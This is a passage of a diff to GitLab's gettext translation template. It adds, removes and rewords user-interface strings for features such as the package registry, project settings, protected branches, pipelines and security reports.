msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
